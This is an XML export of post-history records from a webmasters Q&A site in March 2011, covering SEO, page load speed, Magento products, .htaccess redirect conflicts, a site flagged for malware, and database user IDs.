  <row Id="25565" PostHistoryTypeId="5" PostId="11312" RevisionGUID="5595bbdf-8388-49c8-870e-ef6ee906f39e" CreationDate="2011-03-28T23:25:19.263" UserId="1253" Comment="Removed solicitation " Text="Could anyone tell me if this is the correct format for a back link?&#xD;&#xA;&#xD;&#xA;(a) &lt;a href=&quot;http://www.dfwservicecompany.com&quot; rel=&quot;nofollow&quot;&gt;ELECTRICIAN FORT WORTH TEXAS&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;(b) WWW.DFWSERVICECOMPANY.COM&#xD;&#xA;" />
  <row Id="25566" PostHistoryTypeId="25" PostId="11309" RevisionGUID="b781ba7c-3b7e-4cc0-b4b7-967472d7740f" CreationDate="2011-03-29T00:00:10.223" Comment="http://twitter.com/#!/StackWebmasters/status/52520384632852480" />
  <row Id="25567" PostHistoryTypeId="17" PostId="11314" RevisionGUID="61307ca0-2988-49c8-ac82-b37bf984444d" CreationDate="2011-03-29T00:36:19.840" UserId="-1" Comment="from http://stackoverflow.com/questions/5448521/load-times-and-seo-for-1-page-sites/5457115#5457115" Text="" />
  <row Id="25568" PostHistoryTypeId="17" PostId="11315" RevisionGUID="21b9d2a8-b9a3-4cb3-839b-49961ac3c975" CreationDate="2011-03-29T00:36:19.840" UserId="-1" Comment="from http://stackoverflow.com/questions/5448521/load-times-and-seo-for-1-page-sites/5466392#5466392" Text="" />
  <row Id="25569" PostHistoryTypeId="2" PostId="11314" RevisionGUID="ca7a8a5e-69c8-4c89-910a-fe0b350d60f6" CreationDate="2011-03-28T09:36:52.570" UserId="2290" Text="from a SEO point of view: forget about it.&#xD;&#xA;&#xD;&#xA;only the initial load of a page is important from a SEO perspective. everything that you do after the inital load based on a user interaction is not subject of SEO.&#xD;&#xA;&#xD;&#xA;SEO optimizing single page webapps only deals with the initial HTML loaded by a non javascript clients on the first request. everything else is more ux/usability territory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;if you want to preload &quot;pages&quot; into your javascript/ajax app just load them one after the other in an asynchronous way (which is the normal way in ajax). the thing about asynchronous is, that it just does not block the browser. &#xD;&#xA;" />
  <row Id="25570" PostHistoryTypeId="2" PostId="11315" RevisionGUID="7c97a0da-eb71-4f13-b434-3e55ecfa7179" CreationDate="2011-03-28T23:55:46.773" UserId="4461" Text="There's a whole discipline that has evolved around page-speed optimization. This has gained additional interest since Google announced that page speed is a factor in ranking. The good thing is that **whatever you do to improve you're user's experience/perception of page speed, you'll most likely doing what the search engines appreciate as well**.&#xD;&#xA;&#xD;&#xA;Gaining an understanding of browser/server caching, reading both [Google's][1] and [Yahoo's][2] recommendations on optimizing sites for speed will set you in good stead.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/docs/rules_intro.html&#xD;&#xA;  [2]: http://developer.yahoo.com/performance/rules.html" />
  <row Id="25571" PostHistoryTypeId="2" PostId="11313" RevisionGUID="4e9bc88a-567f-45de-b94b-d33303cce0a1" CreationDate="2011-03-27T10:06:15.877" UserId="1905" Text="I find that 1 page sites can be interactive animating from page to page. But if a site starts to get a little larger or contains many images, perhaps an image gallery, it loads slowly. Also its not good for SEO I believe? How can I fix these 2 issues? &#xD;&#xA;&#xD;&#xA;For the 1st (Slow loading), I am thinking I should somehow load only 1 page at a time, then load in the background other pages. It sounds simple in theory, but what happens if when I am only loading page 2 in background, the user requests for page 6? Or any other suggestions?&#xD;&#xA;&#xD;&#xA;Then for SEO, what can I do abt it?" />
  <row Id="25572" PostHistoryTypeId="1" PostId="11313" RevisionGUID="4e9bc88a-567f-45de-b94b-d33303cce0a1" CreationDate="2011-03-27T10:06:15.877" UserId="1905" Text="Load times and SEO for 1 page sites" />
  <row Id="25573" PostHistoryTypeId="3" PostId="11313" RevisionGUID="4e9bc88a-567f-45de-b94b-d33303cce0a1" CreationDate="2011-03-27T10:06:15.877" UserId="1905" Text="&lt;web-development&gt;&lt;performance&gt;&lt;seo&gt;&lt;web-design&gt;" />
  <row Id="25574" PostHistoryTypeId="17" PostId="11313" RevisionGUID="d7800337-18c8-46cc-8db3-3c2bd7a74ac0" CreationDate="2011-03-29T00:36:19.840" UserId="-1" Comment="from http://stackoverflow.com/questions/5448521/load-times-and-seo-for-1-page-sites" Text="" />
  <row Id="25575" PostHistoryTypeId="2" PostId="11316" RevisionGUID="6ee692ac-56c3-4762-bb13-809d9c930cfb" CreationDate="2011-03-29T02:58:00.190" UserId="3035" Text="I am looking at  using cutenews or fusionnews, neither have the specific option i want which is when a new article is posted to email all my subscribers the last article.&#xD;&#xA;&#xD;&#xA;I would like to know which one is most customizable to do this or of another application that can do this? i didnt want to use wordpress because i want to custime the layout and page, but if thats the only option then i may stick to wordpress." />
  <row Id="25576" PostHistoryTypeId="1" PostId="11316" RevisionGUID="6ee692ac-56c3-4762-bb13-809d9c930cfb" CreationDate="2011-03-29T02:58:00.190" UserId="3035" Text="fusion news or cutenews" />
  <row Id="25577" PostHistoryTypeId="3" PostId="11316" RevisionGUID="6ee692ac-56c3-4762-bb13-809d9c930cfb" CreationDate="2011-03-29T02:58:00.190" UserId="3035" Text="&lt;php&gt;&lt;wordpress&gt;&lt;blog&gt;" />
  <row Id="25579" PostHistoryTypeId="25" PostId="11316" RevisionGUID="ac959355-aee7-431d-b58e-d6284f71baba" CreationDate="2011-03-29T06:00:20.477" Comment="http://twitter.com/#!/StackWebmasters/status/52611024943185921" />
  <row Id="25580" PostHistoryTypeId="2" PostId="11317" RevisionGUID="184ab62f-bfbf-4674-9f7a-3a86678596f2" CreationDate="2011-03-29T07:02:23.310" UserId="5322" Text="Well I'd use PHP / MYSQL / JQUERY / HTML / CSS combination. I've built serveral online shops like that. &#xD;&#xA;&#xD;&#xA;The particular example you've given was built with ASP.NET, so that's another alternative. Another option would be Ruby (on Rails). &#xD;&#xA;&#xD;&#xA;It depends on what you already know, all of the above are capable of doing what you want. Some don't like PHP because it's open source, but hey, even Facebook is built with php!" />
  <row Id="25581" PostHistoryTypeId="2" PostId="11318" RevisionGUID="01444291-46ed-4364-9b85-cbbe3602bcfa" CreationDate="2011-03-29T07:08:50.000" UserId="6390" Text="What is the best website out there when it comes to tagging information, be it photos, vidoes, etc. I love how stack overflow allows one to tag anything, but it is missing some features -- like stack overflow tags can't have spaces.&#xD;&#xA;&#xD;&#xA;In your opinion, what is the best website out there whose tagging mechanism is a great example for upcoming websites?" />
  <row Id="25582" PostHistoryTypeId="1" PostId="11318" RevisionGUID="01444291-46ed-4364-9b85-cbbe3602bcfa" CreationDate="2011-03-29T07:08:50.000" UserId="6390" Text="best website that tags information" />
  <row Id="25583" PostHistoryTypeId="3" PostId="11318" RevisionGUID="01444291-46ed-4364-9b85-cbbe3602bcfa" CreationDate="2011-03-29T07:08:50.000" UserId="6390" Text="&lt;tags&gt;" />
  <row Id="25584" PostHistoryTypeId="2" PostId="11319" RevisionGUID="2c6fd859-5f0f-4e5f-aaa2-c8264ae9dcc7" CreationDate="2011-03-29T07:25:38.400" UserId="6390" Text="If there is personal information in a typical user's account, like a CC number of a personal detail that is not meant to reach someone else's eyes, then in the edit account page make that personal detail available. No two people will ever wish to share accounts if they knew the other could access their personal data.&#xD;&#xA;&#xD;&#xA;I don't think you can use technology to resolve such issues, a hacker will always find a way to out-smart you. However, if you have a CC on file, add a link on your user's back end that allows them to purchase $10 of flowers with a single click and mail it to anyone -- and watch how your double-accounts will disappear as no one will want one of their friends to order flowers with their CC.&#xD;&#xA;&#xD;&#xA;Problem solved." />
  <row Id="25585" PostHistoryTypeId="2" PostId="11320" RevisionGUID="a11339a4-b899-465f-9e24-db698b36a70d" CreationDate="2011-03-29T07:30:37.837" UserId="6390" Text="No. Use the &quot;Exact&quot; feature. And &quot;Local&quot; in my research leads me to believe it means your country, not your near vicinity.&#xD;&#xA;&#xD;&#xA;Google Keyword Tool has a help feature that describes what &quot;Global&quot; means. In my previous failed experiences I no longer even use the Global feature. If you are thinking getting traffic via domain name SEO, and try to aim to a global term, you will be outflanked by the hundreds of more specific domains that will rank higher you. " />
  <row Id="25586" PostHistoryTypeId="5" PostId="11318" RevisionGUID="6e88b3ba-389d-4d9a-bed2-12f10780672c" CreationDate="2011-03-29T07:31:34.547" UserId="6390" Comment="added 4 characters in body" Text="What is the best website out there when it comes to tagging information, be it photos, videos, etc. I love how stack overflow allows one to tag anything, but it is missing some features -- like stack overflow tags can't have spaces.&#xD;&#xA;&#xD;&#xA;In your opinion, what is the best website out there whose tagging mechanism is a great example for any upcoming websites?" />
  <row Id="25587" PostHistoryTypeId="25" PostId="11318" RevisionGUID="9fe4eb65-8f63-4157-b3d4-d2ab031f8bdf" CreationDate="2011-03-29T09:00:20.937" Comment="http://twitter.com/#!/StackWebmasters/status/52656325078945792" />
  <row Id="25588" PostHistoryTypeId="2" PostId="11321" RevisionGUID="d21fe5e1-a3e0-4361-b6d1-832d1d1f88e7" CreationDate="2011-03-29T09:58:52.030" UserId="4306" Text="I think **[Quora][1]** has a very effective UI for tagging topics. Good use of Spotlight-style autocompletion and very responsive interface.&#xD;&#xA;&#xD;&#xA;For photo tagging, I think Facebook is hard to beat.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quora.com" />
  <row Id="25589" PostHistoryTypeId="2" PostId="11322" RevisionGUID="e6fbd561-d0b4-4d0c-b751-6d001c24e052" CreationDate="2011-03-29T10:05:18.870" UserId="1363" Text="Anyone know where I can find info about which Microsoft fonts I can use with Cufon for my websites? (for free, of course).&#xD;&#xA;&#xD;&#xA;Ideally, I would like to use one of the following:&#xD;&#xA;&#xD;&#xA;Calibri&#xD;&#xA;Corbel&#xD;&#xA;Segoi UI&#xD;&#xA;Tahoma&#xD;&#xA;Verdana&#xD;&#xA;" />
  <row Id="25590" PostHistoryTypeId="1" PostId="11322" RevisionGUID="e6fbd561-d0b4-4d0c-b751-6d001c24e052" CreationDate="2011-03-29T10:05:18.870" UserId="1363" Text="Cufon for Microsoft's fonts" />
  <row Id="25591" PostHistoryTypeId="3" PostId="11322" RevisionGUID="e6fbd561-d0b4-4d0c-b751-6d001c24e052" CreationDate="2011-03-29T10:05:18.870" UserId="1363" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;fonts&gt;" />
  <row Id="25595" PostHistoryTypeId="2" PostId="11324" RevisionGUID="901ef1be-fc91-42e8-bf90-c784cdda52a4" CreationDate="2011-03-29T10:26:03.990" UserId="3659" Text="I would like to enhance my CTR for my pages and/or posts. When I publish these I tend to Tweet them so they become known. When doing some research on 'Grails' I just noticed the following snippet in Google:&#xD;&#xA;&#xD;&#xA;![Twitter Google rich snippet][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/XV9WP.png&#xD;&#xA;&#xD;&#xA;Unfortunately my Google snippets never include the Tweet. My question is, how do I make sure that my tweet is included in the 'rich' snippet as shown above? In other words, which steps do I need to follow?" />
  <row Id="25596" PostHistoryTypeId="1" PostId="11324" RevisionGUID="901ef1be-fc91-42e8-bf90-c784cdda52a4" CreationDate="2011-03-29T10:26:03.990" UserId="3659" Text="How to accomplish a rich snippet with Twitter?" />
  <row Id="25597" PostHistoryTypeId="3" PostId="11324" RevisionGUID="901ef1be-fc91-42e8-bf90-c784cdda52a4" CreationDate="2011-03-29T10:26:03.990" UserId="3659" Text="&lt;seo&gt;&lt;google&gt;&lt;social-media&gt;&lt;serps&gt;" />
  <row Id="25598" PostHistoryTypeId="2" PostId="11325" RevisionGUID="3d0707c8-1e97-4b5b-b470-93444601db0a" CreationDate="2011-03-29T10:40:38.483" UserId="3659" Text="**Auto-Pagination through the API**&#xD;&#xA;&#xD;&#xA;Here is a quick overview on how to do auto-pagination with our API. You might also follow along by checking the [fully working sample code in Python][1] which you can use in your own applications.&#xD;&#xA;&#xD;&#xA;The following sample query fetches the first 10,000 keywords by conversion rate for the month of February:&#xD;&#xA;&#xD;&#xA;    https://www.google.com/analytics/feeds/data&#xD;&#xA;    ?ids=ga:12345&#xD;&#xA;    &amp;dimensions=ga:keywords&#xD;&#xA;    &amp;metrics=ga:conversionRateAll&#xD;&#xA;    &amp;sort=-ga:conversionRateAll&#xD;&#xA;    &amp;start-date=2011-02-01&#xD;&#xA;    &amp;end-date=2011-02-28&#xD;&#xA;    &amp;start-index=1&#xD;&#xA;    &amp;max-results=10000&#xD;&#xA;&#xD;&#xA;Notice how start-index is set to 1 and max-results is set to 10,000. When this query is issued to the API, the API will return up to 10,000 results. The API also returns the number rows found in Google Analytics in the openSearch:totalResult XML element&#xD;&#xA;&#xD;&#xA;    14,654&#xD;&#xA;&#xD;&#xA;To get the total number of pages in this request, we can use the following python code:&#xD;&#xA;&#xD;&#xA;    num_pages = math.ceil(total_results / 10000)&#xD;&#xA;&#xD;&#xA;Then getting the start-index for each additional page is trivial:&#xD;&#xA;&#xD;&#xA;    for page_number in range(num_pages)[1:]: # skips the first page.&#xD;&#xA;    start_index_for_page = page_number * 10000 + 1&#xD;&#xA;&#xD;&#xA;Thats it! If you want to start doing this today, or just see how it should work, we’ve included a [fully working example][2]. If you liked this, and want to see more example, let us know what we should do next in our comments.&#xD;&#xA;&#xD;&#xA;Posted by Nick Mihailovski, Google Analytics API Team&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/ga-api-http-samples/source/browse/trunk/src/data_export/v2/python/pagination/pagination_demo.py&#xD;&#xA;  [2]: http://code.google.com/p/ga-api-http-samples/source/browse/trunk/src/data_export/v2/python/pagination/pagination_demo.py" />
  <row Id="25599" PostHistoryTypeId="2" PostId="11326" RevisionGUID="af4b20f0-b432-45da-a652-4f7cc3bf0922" CreationDate="2011-03-29T11:06:34.623" UserId="6413" Text="I have a world hotels site (www.tourbirds.com) and I want to use this 'dynamic keyword' generation trick to have the hotel name and city included in the keywords. Also, I was thinking maybe even having dynamic title and header/ footer generated. &#xD;&#xA;&#xD;&#xA;Will that te of any use???" />
  <row Id="25600" PostHistoryTypeId="2" PostId="11327" RevisionGUID="00f14de8-b001-4b9b-8d71-e1821fd6ff42" CreationDate="2011-03-29T11:11:53.077" UserId="3659" Text="When doing research on SEO you most probably stumbled upon Google's statement there are approximately 200 raking factors. I think it would be nice to have identified all these 200 factors.&#xD;&#xA;&#xD;&#xA;Does anybody know if Google ever published all ranking factors? And if so, where these can be found?" />
  <row Id="25601" PostHistoryTypeId="1" PostId="11327" RevisionGUID="00f14de8-b001-4b9b-8d71-e1821fd6ff42" CreationDate="2011-03-29T11:11:53.077" UserId="3659" Text="Google's 200 raking factors" />
  <row Id="25602" PostHistoryTypeId="3" PostId="11327" RevisionGUID="00f14de8-b001-4b9b-8d71-e1821fd6ff42" CreationDate="2011-03-29T11:11:53.077" UserId="3659" Text="&lt;seo&gt;&lt;google&gt;&lt;site-ranking&gt;" />
  <row Id="25603" PostHistoryTypeId="2" PostId="11328" RevisionGUID="fc2f28c9-5cd4-4f22-bcbd-74b1d593e0ff" CreationDate="2011-03-29T11:13:50.080" UserId="3697" Text="There's a great roundup of the factors, and how important they are thought to be, at SEOMoz&#xD;&#xA;&#xD;&#xA;http://www.seomoz.org/article/search-ranking-factors#ranking-factors" />
  <row Id="25607" PostHistoryTypeId="16" PostId="11318" RevisionGUID="1fe54c5f-6715-4707-aae7-ac69b094e62e" CreationDate="2011-03-29T11:58:52.750" UserId="1253" />
  <row Id="25608" PostHistoryTypeId="5" PostId="11318" RevisionGUID="1fe54c5f-6715-4707-aae7-ac69b094e62e" CreationDate="2011-03-29T11:58:52.750" UserId="1253" Comment="deleted 7 characters in body" Text="What is the best website out there when it comes to tagging information, be it photos, videos, etc. I love how stack overflow allows one to tag anything, but it is missing some features -- like stack overflow tags can't have spaces.&#xD;&#xA;&#xD;&#xA;What are good examples of websites out there whose tagging mechanism is a great example for any upcoming websites?" />
  <row Id="25609" PostHistoryTypeId="16" PostId="11321" RevisionGUID="1a291cc4-afc7-4724-83af-f7257b38c7e0" CreationDate="2011-03-29T11:59:46.960" UserId="1253" />
  <row Id="25610" PostHistoryTypeId="25" PostId="11327" RevisionGUID="cdd5fcbc-b716-4f9f-971b-9c0fb72fb82a" CreationDate="2011-03-29T12:00:20.923" Comment="http://twitter.com/#!/StackWebmasters/status/52701623650222082" />
  <row Id="25611" PostHistoryTypeId="4" PostId="11327" RevisionGUID="40eed904-8ea1-499d-96a4-0c1606148c44" CreationDate="2011-03-29T12:00:32.217" UserId="3697" Comment="Fixed typo in title" Text="Google's 200 ranking factors" />
  <row Id="25612" PostHistoryTypeId="24" PostId="11327" RevisionGUID="40eed904-8ea1-499d-96a4-0c1606148c44" CreationDate="2011-03-29T12:00:32.217" Comment="Proposed by 3697 approved by 1253 edit id of 84" />
  <row Id="25613" PostHistoryTypeId="5" PostId="11214" RevisionGUID="46ec6d9f-5c51-4d49-90f7-2f0fa37f8a34" CreationDate="2011-03-29T12:15:01.143" UserId="3461" Comment="added 2 characters in body" Text="'Unlimited' is not possible to achieve, it's more of a marketting gimmick. Although seems to be mostly asumed it means basicly they let you use whatever till you hit some of the many limits in their TOS (ie, you might be hitting their cpu usage early when using loads of bandwidth, for scripts usage, etc), and more or less is becoming a common &quot;term&quot;.&#xD;&#xA;&#xD;&#xA;The domains matter tie you to that hosting, instead of having the freedom to change to another(you can, but there can be more delays and issues) if the hosting starts to loose speed, etc. &#xD;&#xA;&#xD;&#xA;I tend to find good feedback on Hostgator, Hawkhost, Liquidwebs. Just recently have not checked." />
  <row Id="25614" PostHistoryTypeId="2" PostId="11329" RevisionGUID="1e3fa4e5-d6d5-49f3-8a78-b92d27b8de9a" CreationDate="2011-03-29T12:24:17.547" UserId="4011" Text="It is almost impossible to make 100% sure 2 user are the same person, what I would recommend would be to negate the benefit of having 2 account.&#xD;&#xA;&#xD;&#xA;Example : if your site give referral bonus (in the case of a gaming website) you could track IP, log on date, sign up date, hashed password, similarities in email, those factors usually allow to find multiple account users." />
  <row Id="25615" PostHistoryTypeId="2" PostId="11330" RevisionGUID="dd446179-605d-45c1-a8be-0d9ecd6e635a" CreationDate="2011-03-29T12:47:39.167" UserId="6415" Text="my clients site http://bit.ly/dTOfGF (i used url shortener).&#xD;&#xA;&#xD;&#xA;I have tried everything to find the malware but i couldnt.&#xD;&#xA;&#xD;&#xA;I tried the Google checklist http://googlewebmastercentral.blogspot.com/2007/09/quick-security-checklist-for-webmasters.html&#xD;&#xA;&#xD;&#xA;i checked for all script files in multiple browsers and couldn't find any...&#xD;&#xA;&#xD;&#xA;Strange thing is that Google reports that png files and 1 css has malware...&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="25616" PostHistoryTypeId="1" PostId="11330" RevisionGUID="dd446179-605d-45c1-a8be-0d9ecd6e635a" CreationDate="2011-03-29T12:47:39.167" UserId="6415" Text="Google says my site contains malware" />
  <row Id="25617" PostHistoryTypeId="3" PostId="11330" RevisionGUID="dd446179-605d-45c1-a8be-0d9ecd6e635a" CreationDate="2011-03-29T12:47:39.167" UserId="6415" Text="&lt;hacking&gt;&lt;malware&gt;&lt;sites&gt;" />
  <row Id="25618" PostHistoryTypeId="17" PostId="11332" RevisionGUID="218302d9-d172-445f-aafe-e3bc746ae762" CreationDate="2011-03-29T13:11:01.707" UserId="-1" Comment="from http://stackoverflow.com/questions/5468236/which-product-category-to-choose-in-magento/5472756#5472756" Text="" />
  <row Id="25619" PostHistoryTypeId="2" PostId="11332" RevisionGUID="29ad31c3-3bd4-4dd3-8c3f-c24ce601c0e6" CreationDate="2011-03-29T12:48:47.990" UserId="6295" Text="Since your product is meant to be downloaded I would hazard a guess that it should be a **downloadable product**. The downloadable type allows for different versions/copies/sizes of files to be selected, try it and see.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25620" PostHistoryTypeId="2" PostId="11331" RevisionGUID="bf5043ab-2a8c-4092-8e6e-64ae1bf05fed" CreationDate="2011-03-29T05:23:48.770" UserDisplayName="Kiara" Text="I am newbie in magento. I am creating a **product** that is basically a **video file**. I want that whenever the user clicks  on that product he is asked to buy different file sizes for that video like HD version, Sd version. So I thought to create a simple prduct with custom options of file size. &#xD;&#xA;&#xD;&#xA;**But I want your suggestion that whether I should create it as a downloadable product,  configurable or simple product with custom options.** &#xD;&#xA;&#xD;&#xA;Basically I am confused as it needs to be a **downloadable product** where the different sizes video files are located at server for download or it can be **simple** product also just click and buy the particular product of file size or it cabn be **configurable** also.&#xD;&#xA;&#xD;&#xA;Please suggest.Thanx in advance." />
  <row Id="25621" PostHistoryTypeId="1" PostId="11331" RevisionGUID="bf5043ab-2a8c-4092-8e6e-64ae1bf05fed" CreationDate="2011-03-29T05:23:48.770" UserDisplayName="Kiara" Text="which product category to choose in magento" />
  <row Id="25622" PostHistoryTypeId="3" PostId="11331" RevisionGUID="bf5043ab-2a8c-4092-8e6e-64ae1bf05fed" CreationDate="2011-03-29T05:23:48.770" UserDisplayName="Kiara" Text="&lt;magento&gt;" />
  <row Id="25623" PostHistoryTypeId="17" PostId="11331" RevisionGUID="1116f3e5-3414-4e40-9655-e1ba4cf5d698" CreationDate="2011-03-29T13:11:01.707" UserId="-1" Comment="from http://stackoverflow.com/questions/5468236/which-product-category-to-choose-in-magento" Text="" />
  <row Id="25624" PostHistoryTypeId="2" PostId="11333" RevisionGUID="72157dc3-f971-4d35-9d8c-948b6e40303e" CreationDate="2011-03-29T11:49:58.287" UserDisplayName="user521180" Text="Is there a site where I can download or generate some stylish sliders like the one below?&#xD;&#xA;&#xD;&#xA;I mean just as an image for the background of my slider.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/5LOCH.jpg" />
  <row Id="25625" PostHistoryTypeId="1" PostId="11333" RevisionGUID="72157dc3-f971-4d35-9d8c-948b6e40303e" CreationDate="2011-03-29T11:49:58.287" UserDisplayName="user521180" Text="Where can i find some stylish sliders for my website?" />
  <row Id="25626" PostHistoryTypeId="3" PostId="11333" RevisionGUID="72157dc3-f971-4d35-9d8c-948b6e40303e" CreationDate="2011-03-29T11:49:58.287" UserDisplayName="user521180" Text="&lt;web-development&gt;" />
  <row Id="25627" PostHistoryTypeId="17" PostId="11333" RevisionGUID="4ceef4cc-c65a-4314-a3d8-69a28360382a" CreationDate="2011-03-29T13:12:53.937" UserId="-1" Comment="from http://stackoverflow.com/questions/5472025/where-can-i-find-some-stylish-sliders-for-my-website" Text="" />
  <row Id="25628" PostHistoryTypeId="2" PostId="11334" RevisionGUID="34b1bb03-da3a-49b2-afa4-4f420b075323" CreationDate="2011-03-02T11:09:17.700" UserDisplayName="PeterM" Text="Does anyone know of any tools that can be run against web server to determine how compliant the server is with the various HTTP specs?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="25629" PostHistoryTypeId="1" PostId="11334" RevisionGUID="34b1bb03-da3a-49b2-afa4-4f420b075323" CreationDate="2011-03-02T11:09:17.700" UserDisplayName="PeterM" Text="Recommendations on how to validate an web server?" />
  <row Id="25630" PostHistoryTypeId="3" PostId="11334" RevisionGUID="34b1bb03-da3a-49b2-afa4-4f420b075323" CreationDate="2011-03-02T11:09:17.700" UserDisplayName="PeterM" Text="&lt;http&gt;&lt;webserver&gt;" />
  <row Id="25631" PostHistoryTypeId="17" PostId="11334" RevisionGUID="c44d7631-4066-478e-bf41-ccf08a66c6bd" CreationDate="2011-03-29T13:13:18.960" UserId="-1" Comment="from http://stackoverflow.com/questions/5166626/recommendations-on-how-to-validate-an-web-server" Text="" />
  <row Id="25632" PostHistoryTypeId="2" PostId="11335" RevisionGUID="804a76db-5f0e-4cbc-a43e-0666610c4aeb" CreationDate="2011-03-29T13:34:19.377" UserId="2898" Text="What you're seeing is one of Google's social search results. Because someone in your social graph (Hans Westerbeek) has shared this item, you'll see it higher in **your** results and have it noted with the rich presentation.&#xD;&#xA;&#xD;&#xA;This type of personalization should provide results that are more trustworthy to end users. &#xD;&#xA;&#xD;&#xA;Your posts will have this presentation when it is shared by someone in the user's social graph. The ways to increase the odds of this presentation have everything to do with your social reach and how often your content is shared within your community.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25633" PostHistoryTypeId="2" PostId="11336" RevisionGUID="0f178393-4d74-459a-881a-68d48933bc64" CreationDate="2011-03-29T13:37:03.283" UserId="1253" Text="Remake those images, maybe even using screenshots, and re-save them and replace them in your site. Any malware hidden in them will be removed that way." />
  <row Id="25634" PostHistoryTypeId="2" PostId="11337" RevisionGUID="ad1e3520-4eaa-4c6e-abbf-e0d0c417b1de" CreationDate="2011-03-29T13:58:34.100" UserId="1253" Text="I have a website which was originally built using classic ASP. About a year ago it was rewritten in PHP. This caused file extensions to change and some pages were moved to new locations within the website. Naturally we made 301 redirects from the old URLs to the new URLs so their users and search engines could find their new locations. This works fine.&#xD;&#xA;&#xD;&#xA;We also built them a tool that allows the site owner to create their own tiny URLs that will redirect to a page with Google Analytics campaign tracking variables included in the URL so they can track the campaign and see how it performs.&#xD;&#xA;&#xD;&#xA;The issue I have is the campaign tracking rules conflicts with the 301 redirects and prevents the redirects from working at all.&#xD;&#xA;&#xD;&#xA;Here is the campaign tracking code:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^(.*)$ /tracking.php?$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;As you can see it checks to see if a file exists and if it doesn't it redirects to a tracking script (tracking.php) which then takes the tracking code and redirects to the proper URL with the Google Analytics campaign code in the query string.&#xD;&#xA;&#xD;&#xA;That code causes rules like this to fail:&#xD;&#xA;&#xD;&#xA;    redirect 301 /about.asp /about.php&#xD;&#xA;    redirect 301 /capabilities.asp /capabilities.php&#xD;&#xA;    redirect 301 /capacitors.asp /capacitors.php&#xD;&#xA;&#xD;&#xA;It makes sense that this doesn't work together as the tracking rules say, &quot;if a file isn't found redirect to tracking.php&quot;. What I need is for the 301 redirects to run first, and if none of them match, then redirect to the tracking script. Placing the tracking rules below the 301 redirects does not change the results.&#xD;&#xA;&#xD;&#xA;Can this be done via .htaccess? Or will I need to modify the tracking script so that if a campaign is not found it checks to see if the campaign ID is actually an old page that needs to be redirected and then do the 301 redirect from there?" />
  <row Id="25635" PostHistoryTypeId="1" PostId="11337" RevisionGUID="ad1e3520-4eaa-4c6e-abbf-e0d0c417b1de" CreationDate="2011-03-29T13:58:34.100" UserId="1253" Text="Homemade URL shortener redirect conflicting with 301 redirects" />
  <row Id="25636" PostHistoryTypeId="3" PostId="11337" RevisionGUID="ad1e3520-4eaa-4c6e-abbf-e0d0c417b1de" CreationDate="2011-03-29T13:58:34.100" UserId="1253" Text="&lt;htaccess&gt;&lt;redirects&gt;" />
  <row Id="25637" PostHistoryTypeId="2" PostId="11338" RevisionGUID="b80eaaca-3a2c-4c21-ada0-cc6f46aa9909" CreationDate="2011-03-29T14:03:50.910" UserId="5849" Text="Try looking at the jquery UI package. It is a package for jquery that supplies really nice ui widgets, one of which is a very nice slider. It is what I tend to use for my sites when I need a slider. " />
  <row Id="25638" PostHistoryTypeId="5" PostId="11314" RevisionGUID="91c31c33-eb22-4328-84f5-91ff54fb6949" CreationDate="2011-03-29T14:03:53.160" UserId="2290" Comment="added 98 characters in body" Text="from a SEO point of view: forget about it.&#xD;&#xA;&#xD;&#xA;only the initial load of a page is important from a SEO perspective. everything that you do after the inital load based on a user interaction is not subject of SEO.&#xD;&#xA;&#xD;&#xA;SEO optimizing single page webapps only deals with the initial &lt;strike&gt;HTML&lt;/strike&gt; page (HTML + synchronous dependencies like scripts and images)  loaded by &lt;strike&gt;a non javascript&lt;/strike&gt; clients on the first request. everything else is more ux/usability territory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;if you want to preload &quot;pages&quot; into your javascript/ajax app just load them one after the other in an asynchronous way (which is the normal way in ajax). the thing about asynchronous is, that it just does not block the browser. &#xD;&#xA;" />
  <row Id="25639" PostHistoryTypeId="2" PostId="11339" RevisionGUID="ef3f9b61-9f23-4a5b-87cf-2c29489e3ad6" CreationDate="2011-03-29T14:16:12.053" UserId="302" Text="My users will login into a website using a login of their choosing, but which I will check against the DB to ensure unicity.  Given this, should I also have a unique userID in the DB?  This could be an autoincrement number and would be completely invisible to the users.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;JDelage" />
  <row Id="25640" PostHistoryTypeId="1" PostId="11339" RevisionGUID="ef3f9b61-9f23-4a5b-87cf-2c29489e3ad6" CreationDate="2011-03-29T14:16:12.053" UserId="302" Text="Assuming unique user names / logins, do I also need a unique userID number in the DB?" />
  <row Id="25641" PostHistoryTypeId="3" PostId="11339" RevisionGUID="ef3f9b61-9f23-4a5b-87cf-2c29489e3ad6" CreationDate="2011-03-29T14:16:12.053" UserId="302" Text="&lt;web-development&gt;&lt;mysql&gt;" />
  <row Id="25642" PostHistoryTypeId="2" PostId="11340" RevisionGUID="f228fa81-b23b-4d38-9cca-2cd1180bf819" CreationDate="2011-03-29T14:21:48.770" UserId="2490" Text="Check out [arvixe][1]. Very good hosting options. I am hosting multiple sites with them, they're good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="25643" PostHistoryTypeId="2" PostId="11341" RevisionGUID="a0950b3f-bd7d-499c-8726-51ed91fe3409" CreationDate="2011-03-29T14:26:47.167" UserId="6198" Text="Its always good to have an ID which autoincrements as you put new users in your DB. In the future you might need it. And it will ensure that there are no replicates in your DB and your program doesn't fail while logging in. You can make this the primary one also." />
